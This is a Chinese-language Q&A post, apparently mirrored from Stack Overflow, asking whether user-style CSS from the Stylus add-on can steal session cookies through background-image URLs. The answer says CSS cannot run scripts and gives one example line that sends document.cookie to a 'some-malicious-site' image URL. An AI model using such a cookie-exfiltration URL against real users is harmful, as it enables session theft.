用户风格的CSS可以窃取Cookie吗?

时间:2018-10-28 04:55:01

标签: html css cookies

我喜欢Stylus浏览器加载项,该加载项使CSS样式包可以根据用户的意愿进行安装。

我已经观看了这段有关窃取Cookie的精彩视频(作者Mike Pound | Computerphile):https://www.youtube.com/watch?v=T1QEs3mdJoc

CSS可以设置原本不会有一个元素的背景图像(我写了一个可以消除有一个元素的背景图像的背景图像,这是相反的)。

观看视频时,庞德博士使用了一个图像(通过未转义的HTML)URL,该URL实际上执行PHP,该PHP需要会话cookie并返回图像数据。 在11:19时,他说这笔交易试图欺骗浏览器发送cookie。

我的问题:通过设置任何元素的background并为URL提供PHP会话窃取代码,用户风格(真正动态加载的CSS规则)是否可以成为窃取会话Cookie的媒介?

如果没有,为什么不呢? (我想这与内容安全策略有关?)

如果是这样,是否可以在不关闭进行动态CSS注入的加载项的情况下与之抗衡?

-我将很快尝试自己的一些测试,并认为社区至少希望从理论上对此加以考虑。

如果我要问一个愚蠢的问题,请随意投票,按钮在那儿。

1 个答案:

答案 0 :(得分:1)

我希望获取背景图像的请求将与它所在的服务器有自己的会话(以及可能的cookie)。因此,那里没有任何cookie被盗。

我相信您可以使用javascript将cookie作为请求变量发送到图片服务器(例如,将url设置为'http://some-malicious-site/image.php?cookie=' + document.cookie之类的东西)。但是,我看不出CSS如何执行javascript来准备这样的URL。手写笔浏览器加载项可能能够执行此操作,但由于源安全策略而可能被阻止。